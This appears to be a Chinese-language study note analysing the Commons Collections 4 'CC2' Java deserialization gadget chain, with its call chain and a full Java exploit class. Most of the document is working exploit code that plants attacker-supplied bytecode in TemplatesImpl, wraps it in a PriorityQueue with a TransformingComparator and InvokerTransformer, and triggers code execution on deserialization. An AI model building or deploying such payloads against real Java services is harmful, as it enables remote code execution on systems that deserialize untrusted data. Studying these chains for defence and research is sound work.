参考链接
环境搭建
CommonCollections4
jdk8u65
利用链分析
这条链子是利用invokerTransformer触发templates.newTransformer(),进而触发TemplatesImpl代码执行
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Exp编写
CC3的代码执行+利用CC1执行要触发的函数,注意ysoserial没有用chainedTransformer数组
这也导致方法一使用不了,因为控制不了xxx.transform()里的参数,只能按程序流走,在对应的位置传参
public class TestCC2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Jasper");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//code是要传的恶意代码
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//用invokerTransformer触发调用函数 = =
// templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
//方法一不行了,因为不用chainedTransformer数组
// Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
// Field priorityQueueField = priorityQueueClass.getDeclaredField("size");
// priorityQueueField.setAccessible(true);
// priorityQueueField.set(priorityQueue,2);
//方法二:队列里加俩元素,保证size值
priorityQueue.add(templates); //这里是跟完程序流发现在这里传参
priorityQueue.add(2);
Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
System.out.println("序列化完成...");
}
public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();
System.out.println("反序列化完成...");
}
}
总结
CC3的代码执行+CC1的命令执行,特点在于没有使用chainedTransformer数组。
实际只是ysoserial在CC2没有使用chainedTransformer,想不用很多都可以,不过会如CC1里说过的,
非常麻烦。